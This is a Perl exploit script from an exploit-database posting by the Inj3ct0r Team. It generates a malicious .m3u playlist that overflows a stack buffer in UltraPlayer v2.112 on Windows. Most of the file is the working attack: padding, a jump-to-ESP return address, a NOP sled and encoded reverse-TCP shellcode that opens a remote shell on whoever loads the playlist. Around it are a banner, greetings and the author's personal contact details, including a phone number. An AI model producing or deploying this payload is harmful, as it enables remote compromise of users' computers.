UltraPlayer v2.112 (.m3u) Stack Buffer Overflow Exploit

#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
		                                                               
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

EOF
}
####
# Title : UltraPlayer v2.112 (.m3u) Stack Buffer Overflow Exploit
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected] | [email protected]
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns 
# platform : windows ( Local BOF )
# Type : local exploit / Buffer Overflow
#####

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
###

$junk = "\x41" x 313; # Junk
$ret = "\xeb".pack("V", 0x90471230)."\x90\x90"; # jump ESP / nop - uplayer.exe - /nop /nop 
$nops = "\x90" x 48; # n0ps
$acc = "\x41" x 88; # buf
$shell = # win/shell_reverse_tcp | enc=alphaMiX | by : MSF 
"\x89\xe2\xd9\xd0\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59" .
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" .
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42" .
"\x75\x4a\x49\x4b\x4c\x4b\x58\x4c\x49\x45\x50\x45\x50\x47" .
"\x70\x43\x50\x4b\x39\x5a\x45\x56\x51\x49\x42\x52\x44\x4c" .
"\x4b\x56\x32\x50\x30\x4e\x6b\x56\x32\x54\x4c\x4e\x6b\x51" .
"\x42\x54\x54\x4e\x6b\x43\x42\x45\x78\x56\x6f\x58\x37\x52" .
"\x6a\x45\x76\x56\x51\x49\x6f\x56\x51\x4b\x70\x4c\x6c\x47" .
"\x4c\x50\x61\x51\x6c\x43\x32\x56\x4c\x47\x50\x4b\x71\x5a" .
"\x6f\x54\x4d\x47\x71\x58\x47\x49\x72\x5a\x50\x50\x52\x43" .
"\x67\x4e\x6b\x51\x42\x54\x50\x4e\x6b\x51\x52\x45\x6c\x45" .
"\x51\x4e\x30\x4e\x6b\x51\x50\x51\x68\x4d\x55\x4b\x70\x50" .
"\x74\x51\x5a\x47\x71\x5a\x70\x52\x70\x4e\x6b\x51\x58\x54" .
"\x58\x4e\x6b\x52\x78\x47\x50\x47\x71\x4e\x33\x5a\x43\x45" .
"\x6c\x47\x39\x4c\x4b\x45\x64\x4e\x6b\x43\x31\x4e\x36\x54" .
"\x71\x49\x6f\x56\x51\x49\x50\x4e\x4c\x5a\x61\x58\x4f\x56" .
"\x6d\x45\x51\x49\x57\x50\x38\x4d\x30\x43\x45\x58\x74\x56" .
"\x63\x43\x4d\x4b\x48\x47\x4b\x51\x6d\x51\x34\x51\x65\x4b" .
"\x52\x56\x38\x4e\x6b\x56\x38\x54\x64\x56\x61\x58\x53\x45" .
"\x36\x4c\x4b\x56\x6c\x52\x6b\x4e\x6b\x52\x78\x45\x4c\x43" .
"\x31\x4b\x63\x4c\x4b\x47\x74\x4c\x4b\x43\x31\x5a\x70\x4d" .
"\x59\x50\x44\x54\x64\x45\x74\x43\x6b\x43\x6b\x51\x71\x52" .
"\x79\x50\x5a\x43\x61\x4b\x4f\x49\x70\x56\x38\x51\x4f\x52" .
"\x7a\x4e\x6b\x47\x62\x58\x6b\x4c\x46\x51\x4d\x51\x78\x56" .
"\x53\x56\x52\x47\x70\x47\x70\x50\x68\x52\x57\x51\x63\x54" .
"\x72\x43\x6f\x50\x54\x52\x48\x50\x4c\x51\x67\x54\x66\x43" .
"\x37\x4b\x4f\x58\x55\x4d\x68\x4c\x50\x45\x51\x45\x50\x43" .
"\x30\x54\x69\x58\x44\x56\x34\x50\x50\x45\x38\x45\x79\x4d" .
"\x50\x52\x4b\x43\x30\x4b\x4f\x4e\x35\x56\x30\x56\x30\x52" .
"\x70\x56\x30\x47\x30\x52\x70\x47\x30\x56\x30\x50\x68\x58" .
"\x6a\x56\x6f\x4b\x6f\x4b\x50\x49\x6f\x4b\x65\x4c\x49\x5a" .
"\x67\x52\x48\x51\x6f\x45\x50\x43\x30\x43\x31\x45\x38\x54" .
"\x42\x45\x50\x47\x61\x43\x6c\x4d\x59\x5a\x46\x52\x4a\x54" .
"\x50\x43\x66\x43\x67\x51\x78\x4f\x69\x49\x35\x52\x54\x50" .
"\x61\x4b\x4f\x49\x45\x50\x68\x50\x63\x50\x6d\x45\x34\x45" .
"\x50\x4c\x49\x49\x73\x52\x77\x52\x77\x50\x57\x50\x31\x5a" .
"\x56\x51\x7a\x45\x42\x52\x79\x43\x66\x4b\x52\x49\x6d\x50" .
"\x66\x49\x57\x50\x44\x47\x54\x45\x6c\x43\x31\x43\x31\x4c" .
"\x4d\x50\x44\x56\x44\x56\x70\x4f\x36\x47\x70\x52\x64\x51" .
"\x44\x50\x50\x50\x56\x52\x76\x43\x66\x50\x46\x51\x46\x50" .
"\x4e\x50\x56\x56\x36\x52\x73\x52\x76\x50\x68\x43\x49\x5a" .
"\x6c\x45\x6f\x4b\x36\x49\x6f\x49\x45\x4e\x69\x4d\x30\x52" .
"\x6e\x56\x36\x47\x36\x4b\x4f\x50\x30\x43\x58\x45\x58\x4b" .
"\x37\x47\x6d\x43\x50\x4b\x4f\x4e\x35\x4d\x6b\x5a\x50\x58" .
"\x35\x49\x32\x50\x56\x43\x58\x4f\x56\x4c\x55\x4d\x6d\x4d" .
"\x4d\x4b\x4f\x4e\x35\x45\x6c\x43\x36\x43\x4c\x54\x4a\x4b" .
"\x30\x49\x6b\x4d\x30\x54\x35\x54\x45\x4f\x4b\x43\x77\x54" .
"\x53\x43\x42\x52\x4f\x51\x7a\x45\x50\x52\x73\x4b\x4f\x58" .
"\x55\x41\x41";

# Make m3u Ev!L Exploit
my $ked = "http://".$junk."/inj3ct0r.x".$ret.$acc."\x90\x90\x90".$shell.$nops.".mp3";

open(F,'>> Inj3ct0r.m3u');
print F $ked;
close(F);

# sP^tHanX & Gr33tZ t0 : Omar (www.l3b-r1z.com) | And My fr!ndS 0n HMD ^___^ <3 <3

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy 
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * Kalashinkov3 * SeeMe * ZoRLu * anT!-Tr0J4n
# Anjel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================



#  0day.today [2018-01-02]  #